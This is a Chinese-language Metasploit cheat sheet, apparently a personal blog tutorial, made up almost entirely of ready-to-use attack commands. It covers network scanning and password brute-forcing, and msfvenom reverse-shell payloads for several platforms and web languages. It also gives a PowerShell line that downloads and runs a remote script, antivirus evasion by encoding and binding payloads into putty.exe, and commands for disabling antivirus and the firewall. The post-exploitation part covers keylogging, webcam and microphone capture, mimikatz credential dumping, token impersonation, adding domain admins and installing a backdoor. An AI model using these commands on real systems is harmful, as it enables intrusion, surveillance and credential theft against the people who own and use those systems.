Metasploit

  • Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称叫做MSF。Metasploit作为全球最受欢迎的工具,不仅仅是因为它的方便性和强大性,更重要的是它的框架。它允许使用者开发自己的漏洞脚本,从而进行测试。
  • 本人使用环境 kali

    涉及专业术语

  • 渗透攻击(exploit):
    测试者利用系统,程序,或服务的漏洞进行攻击的一个过程。
  • 攻击载荷(payload):
    攻击者在目标系统上执行的一段攻击代码,该代码具有返弹连接,创建用户,执行其他系统命令的功能
  • shellcode:
    在目标机器上运行的一段机器指令,成功执行后会返回一个shell
  • 模块(module):
    是指Metasploit框架中所使用的一段软件代码组件。
  • 监听器(listener):
    监听器是metasploit中用来等待介入网络连接的组件。

MSF基础知识

  • 运行 msfconsole 即可打开msf命令控制接口.
  • 当打开msfconsole后,这里面清楚的标记了Metasploit所有的利用模块、payload等等.
  • Help参数

启动设置

  • 注意: kali 更新后命令有变动;这是因为kali新版进行了更新。
  • 查看版本
    1
    lsb_release -a   
  • 本人使用版本
    1
    2
    3
    4
    5
    No LSB modules are available.
    Distributor ID: Kali
    Description: Kali GNU/Linux Rolling
    Release: 2022.3
    Codename: kali-rolling

正确的使用方法是:

  1. 启动postgresql:
    1
    service postgresql start
  2. 初始化metasploit postgresql数据库
1
msfdb init
  1. 启动msfconsole:
    1
    msfconsole
  2. 输入
    1
    2
    3
    4
    db_status

    * 失败:postgresql selected, no connection.
    * 成功:Connected to msf. Connection type: postgresql.
  • 在kali中metasploit默认使用postgresql作为它的数据库;
  • 默认创建的数据库名:msf,msf_test;用户名:msf;口令默认为空
    1
    2
    3
    4
    [+] Creating databases 'msf'
    [+] Creating databases 'msf_test'
    [+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
    [+] Creating initial database schema

模块介绍

  • 渗透模块:exploit(漏洞利用) 利用目标的安全漏洞进行攻击
  • 攻击载荷模块:payload 成功在对方目标渗透后,开始在目标计算机运行,帮助目标系统上获取访问行动权限
  • 辅助功能: auxiliary 辅助支持模块,扫描模块,fuzz测试、发掘、欺骗
  • 编码器模块:encoder 用对攻击模块进行代码混淆,逃过目标检测
  • Meterpreter: 使用内存技术攻击载荷,可注入到进程中
  • post模块:后渗透模块
  • post模块:提升用户权限 检查系统凭据(口令)
  • 窃取用户cookies和保存的口令 键盘捕获

    信息搜集

    whois查询:

    1
    2
    msf > whois putdown.top
    msf > whois 192.168.1.100

nmap 连接数据库:

1
2
msf> db_nmap –sS –A putdown.top
msf> db_services #查看扫描结

高级扫描方式:

  • IPID序列扫描器,与 nmap的-sI -O选项类似 ( RHOSTS、 RPORT等参数也可以用小写)
    1
    2
    3
    4
    5
    6
    msf> use auxiliary/scanner/ip/ipidseq 
    show options
    set RHOSTS 192.168.1.0/24
    set RPORT 8080
    set THREADS 50
    run

    portscan模块

    1
    2
    3
    4
    5
    msf> search postscan
    msf> use auxiliary/scanner/postscan/syn
    set RHOSTS 192.168.1.111
    setTHREADS 50
    run

    特定扫描

    smb_version 模块:
    1
    2
    3
    4
    5
    msf> use auxiliary/scanner/smb/smb_version
    showoptions
    set RHOSTS 192.168.1.111
    run
    db_hosts –c address,os_flavor

    找 mssql 主机:

    1
    2
    3
    4
    5
    msf> use auxiliary/scanner/mssql/mssql_ping
    showoptions
    set RHOSTS 192.168.1.0/24
    setTHREADS 255
    run

    SSH 服务器扫描:

    1
    2
    3
    4
    msf> use auxiliary/scanner/ssh/ssh_version
    set RHOSTS 192.168.1.0/24
    setTHREADS 50
    run

    Telnet服务器扫描:

    1
    2
    3
    4
    msf> use auxiliary/scanner/telnet/telnet_version
    set RHOSTS 192.168.1.0/24
    setTHREADS 50
    run

    FTP 主机扫描:

    1
    2
    3
    4
    5
    msf> use auxiliary/scanner/ftp/ftp_version
    Show options
    set RHOSTS 192.168.1.0/24
    setTHREADS 255
    run

    扫描 FTP 匿名登录:

1
2
3
4
useauxiliary/scanner/ftp/anonymos
set RHOSTS 192.168.1.0/24
setTHREADS 50
run

扫描局域网内有哪些主机存活

1
2
3
set RHOSTS 192.168.1.0/24
setTHREADS 50
run

扫描网站目录

1
2
3
set RHOSTS 192.168.1.1
setTHREADS 50
run

搜索网站中的E-mail地址

1
2
3
4
search_email_collector
use auxiliary/gather/search_email_collector
set DOMAIN cracer.com
run

嗅探抓包

1
2
msf> use auxiliary/sniffer/psnuffle
run

MSF 密码破解模块

ssh服务口令猜测

1
2
3
4
5
6
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.80.134
set USERNAME root
set PASS_FILE /root/pass.txt
set THREADS 50
run

mysql口令攻击

1
2
3
4
5
6
7
search mysql
use auxiliary/scanner/mysql/mysql_login
show options
set RHOSTS 192.168.80.130
set user_file /root/user.txt
set pass_file /root/pass.txt
exploit

postgresql攻击

1
2
3
4
5
6
7
search  postgresql
use auxiliary/scanner/postgres/postgres_login
show options
set RHOSTS 192.168.80.130
set user_file /root/user.txt
set pass_fiel /root/pass.txt
exploit

tomcat 攻击

1
2
3
4
5
6
7
search tomcat
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 192.168.1.1
set PASS_FILE /root/pass.txt
set USER_FILE /root/user.txt
exploit

telnet 攻击

1
2
3
4
5
6
use auxiliary/scanner/telnet/telnet_login
set 192.168.1.1
exploit
use auxiliary/scanner/telnet/telnet_login
set 192.168.1.1
exploit

samba攻击

1
2
3
4
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.1 /192.168.1.0/24
set THREADS 200
exploit

MSF 漏洞利用模块

Metasploit 常用漏洞利用命令

  • 用指定关键字搜索可利用漏洞

    1
    search <name>
  • 使用漏洞

    1
    use <exploit name>
  • 显示选项

    1
    show options 
  • 设置选项

    1
    set <OPTION NAME> <option>
  • 显示装置

    1
    show payloads 
  • 显示目标(os版本)

    1
    show targets 
  • 设置目标版本

    1
    set TARGET <target number> 
  • 开始漏洞攻击

    1
    exploit 
  • 列出会话

    1
    sessions -l
  • 选择会话

    1
    sessions -i <ID> 
  • 结束会话

    1
    sessions -k <ID> 
  • 把会话放到后台

    1
    <ctrl> z 
  • 结束会话

    1
    <ctrl> c 
  • 显示辅助模块

    1
    show auxiliary 
  • 使用辅助模块

    1
    use <auxiliary name> 
  • 设置选项

    1
    set <OPTION NAME> <option> 
  • 运行模块

    1
    run 

    MSF PAYLOAD模块

  • msfvenom是msfpayload和msfencode的结合体,于2015年6月8日取代了msfpayload和msfencode。在此之后,metasploit-framework下面的的msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)都不再被支持。

msfvenom所有参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Options:
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> Output format (use --list formats to list)
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
--service-name <value> The service name to use when generating a service binary
--sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
-o, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help Show this message

msfvenom参数总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
-l <type>:列出相关类型(如payloads, encoders, nops, platforms, archs, encrypt, formats, all)的所有模块信息。
-p <payload>:设置使用的payload。
-p <payload> --list-options:列出指定的payload的相关参数。
-f <format>:设置输出格式。
--encoder <encoder>:设置所使用的编码器。
--service-name <value>:设置生成的二进制服务程序的名称。
--sec-name <value>:设置当生成大的windows二进制程序文件时使用的节(section)名。默认是四个随机字母组成的字符串。
--smallest:使用所有的编码器生成尽可能小的payload。
--encrypt <value>:设置编码或加密shellcode的方式。
--encrypt-key <value>:设置加密密钥。
--encrypt-iv <value>:设置加密的初始向量IV。
-a <arch>:设置payload使用的软件架构。
--platform <platform>:设置payload使用的平台。
-o <path>:将payload保存到指定的文件路径。
-b <list>:设置payload中需要避免的字符。
-n <length>:在payload中预置指定长度的滑板指令。
-n <length> --pad-nops:指定payload的文件大小,自动在payload中添加一定数量的滑板指令。
-s, --space <length>:设置生成的payload的最大文件大小。
--encoder-space <length>:设置编码后的payload的最大文件大小。
-i <count>:指定编码的次数。
-c <path> :指定包含额外的win32 shellcode的文件路径。
-x <path>:使用一个可执行文件当作模板。
-k:保留模板文件的功能,将payload作为线程注入。
-v <value>:为某些特定的输出格式指定变量名。
-t <second>:设置从STDIN读取payload的最长等待时间(单位为秒)。默认为30秒。设置为0表示禁用时间限制。
-h:输出帮助页面

常用参数

  • 比如想查看windows/meterpreter/reverse_tcp支持什么平台、哪些选项,可以使用

    1
    msfvenom -p windows/meterpreter/reverse_tcp --list-options
  • 可查看所有payloads

    1
    msfvenom --list payloads
  • 可查看所有编码器

    1
    msfvenom --list encoders
  • 评级最高的两个encoder为 cmd/powershell_base64x86/shikata_ga_nai ,其中 x86/shikata_ga_nai 也是免杀中使用频率最高的一个编码器

  • 类似可用msfvenom –list命令查看的还有payloads, encoders, nops, platforms, archs, encrypt, formats

    监听参数

防止假session

  • 在实战中,经常会遇到假session或者刚连接就断开的情况,这里补充一些监听参数,防止假死与假session。

    1
    msf exploit(multi/handler) > set ExitOnSession false   
  • 可以在接收到seesion后继续监听端口,保持侦听,防止session意外退出

    1
    msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0    
  • 默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0

    1
    msf5 exploit(multi/handler) > set SessionExpirationTimeout 0
  • 默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭

    1
    msf exploit(multi/handler) > exploit -j -z
  • 使用exploit -j -z可在后台持续监听,-j为后台任务,-z为持续监听,使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。

  • 还有种比较快捷的建立监听的方式,在msf下直接执行:

    1
    msf5 > handler -H 192.168.8.124 -P 1122 -p windows/meterpreter/reverse_tcp

    payload的可持续化

  • 一般来说使用msfvenom生成的payload会单独开启一个进程,这种进程很容易被发现和关闭,在后期想做持久化的时候只能再使用migrate进行。

  • 其实在生成payload时可直接使用如下命令,生成的payload会直接注入到指定进程中。

    1
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1122 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o  shell.exe
  • 生成的shell程序执行后会启动两个进程shell.exe和svchost.exe,关闭其中一个不会影响会话状态。
    在上面的生成payload参数中:

    1. PrependMigrate=true PrependMigrateProc=svchost.exe 使这个程序默认会迁移到svchost.exe进程,自己测试的时候不建议到这个进程而是其他的持久进程。
    2. 使用-p指定使用的攻击载荷模块,使用-e指定使用x86/shikata_ga_nai编码器,使用-f选项告诉MSF编码器输出格式为exe,-o选项指定输出的文件名为payload.exe,保存在根目录下。

      各平台payload生成

      Linux

      1
      msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
      1
      msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1122 -a x86 --platform Linux -f elf > shell.elf

      Windows

      1
      msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
      1
      msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1122 -f exe > shell.exe

      Mac

      1
      msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

      Android

      1
      msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1122 -f raw > shell.apk
      1
      msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1122 R > test.apk

      生成脚本payload

      Powershell

      1
      msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.8.124 LPORT=1122 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1

      Netcat

      nc正向连接

      1
      msfvenom -p windows/shell_hidden_bind_tcp LHOST=192.168.8.124 LPORT=1122  -f exe> 1.exe

      nc反向连接,监听

      1
      msfvenom -p windows/shell_reverse_tcp LHOST=192.168.8.124 LPORT=1122  -f exe> 1.exe

      生成脚本payload

PHP

1
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
1
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

侦听Handlers

  • use exploit/multi/handler
  • set PAYLOAD
  • set LHOST 192.168.8.124
  • set LPORT 1122
  • set ExitOnSession false
  • exploit -j -z

    Powershell 配合msf无文件攻击

    生成ps脚本

    1
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1121 -f psh-reflection >x.ps1

    设置侦听

    1
    2
    3
    4
    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    Set lhost 192.168.3.107
    Run

客户端运行

1
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.8.1/x.ps1')

Evasion模块免杀

  • 2019年1月,metasploit升级到了5.0,引入了一个新的模块叫Evasion模块,官方宣称这个模块可以创建反杀毒软件的木马。
  • evasion有以下几个模块,可以使用show evasion进行查看。

使用use windows/windows_defender_exe进行生成payload

1
2
3
4
5
6
msf5 > use windows/windows_defender_exe
msf5 evasion(windows/windows_defender_exe) > set filename payload.exe
msf5 evasion(windows/windows_defender_exe) > set payload windows/meterpreter/reverse_tcp
msf5 evasion(windows/windows_defender_exe) > set LHOST 192.168.8.124
msf5 evasion(windows/windows_defender_exe) > set LPORT 1122
msf5 evasion(windows/windows_defender_exe) > run

设置侦听

1
handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp

捆绑免杀

生成payload 捆绑putty.exe

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1122  -x putty.exe  -f exe -o payload3.exe

捆绑编码免杀

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.124 LPORT=1122 -e x86/shikata_ga_nai -x putty.exe  -i 15 -f exe -o payload4.exe

多重编码免杀

1
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.8.124 LPORT=1122 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x putty.exe -k -f exe > shell.exe
1
http://virustotal.com/   验证静态免杀 bypass

MSF 后渗透模块

Meterpreter

  • Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS(基于主机的入侵检测系统)很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。

基本命令

进程迁移

1
run post/windows/manage/migrate

关闭杀软

1
run killav

通过其 shell 来关闭防火墙

1
netsh adcfirewall set allprofiles state off

查看目标机所有流量

1
run packetrecorder -i 1

提取系统信息

1
run scraper

查看进程

1
ps

切换进程

1
migrate 1774

截屏

1
screenshot

获取系统运行的平台

1
sysinfo

基本命令

1
2
3
run  getgui  -e
```
开启目标主机远程桌面

sysinfo

1
命令为显示远程主机的系统信息

executef notepad.exe

1
2
```
execute -h

显示帮助信息。-f为执行要运行的命令

1
execute  -H -f notepad.exe

如果希望隐藏后台执行,加参数-H

摄像头命令

音频录制

1
record_mic

查看摄像头接口

1
webcam_chat 

查看摄像头列表

1
webcam_list  

摄像头视频获取

1
webcam_stream

端口转发

  • portfwd -h
  • 用法:portfwd [-h] [add | delete | list | flush] [args]
  • 选项:
    -L 要监听的本地主机(可选)
    -h帮助横幅
    -l 要监听的本地端口
    -p 连接到的远程端口
    -r 要连接到的远程主机
1
2
3
4
5
6
portfwd  add -l 4444 -p 3389 -r 192.168.1.102    # 端口转发,本机监听4444,把目标机3389转到本机4444

rdesktop -u Administrator -p bk#123 127.0.0.1:4444 #使用rdesktop来连接桌面,-u 用户名 -p 密码

rdesktop 127.1.1.0:4444 #需要输入用户名和密码远程连接

shell网络环境

添加一条通向目标服务器内网的路由

1
meterpreter>run get_local_subnets

查看路由设置:

1
meterpreter>run autoroute -s 100.0.0.0/8   #(根据目标内网网络而定)

一般来说,在meterpreter中设置路由便可以达到通往其内网的目的。然而有些时候还是会失败,这时我们可以background返回msf>,查看下外面的路由情况

1
meterpreter>run autoroute –p

如果发现没有路由信息,说明meterpreter shell设置的路由并没有生效,我们可以在msf中添加路由。

1
route print

说明:1表示session 1,攻击机如果要去访问10.0.0.0/8网段的资源,其下一跳是session1,至于什么是下一条这里不多说了,反正就是目前攻击机可以访问内网资源了。

1
msf>route add 10.0.0.0 255.0.0.0 1

键盘记录

1
keyscan_start:开启键盘记录功能
1
keyscan_dump:显示捕捉到的键盘记录信息
1
keyscan_stop:停止键盘记录
1
add_user username password -h ip    #在远程目标主机上添加一个用户
1
add_group_user "Domain Admins" username -h ip    #将用户添加到目标主机的域管理员组中

Hash获取

1
2
3
4
5
6
7
8
9
10
meterpreter > load mimikatz  #加载mimikatz
meterpreter > msv #获取hash值
meterpreter > kerberos #获取明文
meterpreter >ssp #获取明文信息
meterpreter > wdigest #获取系统账户信
meterpreter >mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显示
meterpreter >mimikatz_command -f hash:: #获取目标 hash
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPa
run post/windows/gather/smart_hashdump

抓包嗅探

1
2
3
4
5
use sniffer # 加载嗅探模块
sniffer_interfaces #列出目标主机所有开放的网络接口
sniffer_start 2 #获取正在实施嗅探网络接口的统计数据
sniffer_dump 2 /tmp/test2.cap #在目标主机上针对特定范围的数据包缓冲区启动嗅探
sniffer_stop 2 #停止嗅探

对抓取的包进行解包:

1
2
3
4
use auxiliary/sniffer/psnuffle
set pcapfile 1.cap
run
wireshark,加载这个/tmp/xpsp1.cap 也可

盗取令牌

1
2
3
4
meterpreter >use incognito    加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
meterpreter >list_tokens -u    列出目标主机用户的可用令牌
meterpreter >list_tokens -g    列出目标主机用户组的可用令牌
meterpreter >impersonate_token DOMAIN_NAME\\USERNAME    假冒目标主机上的可用令牌,如meterpreter > impersonate_token QLWEB\\Administrato

持久控制服务器

  • 前提条件服务器系统可以
    1
    run metsvc 安装后门
    1
    2
    3
    4
    5
    6
    msfconsole
    use exploit/multi/handler
    set payload windows/metsvc_bind_tcp
    set LPORT 31337
    set RHOST 192.168.2.131
    run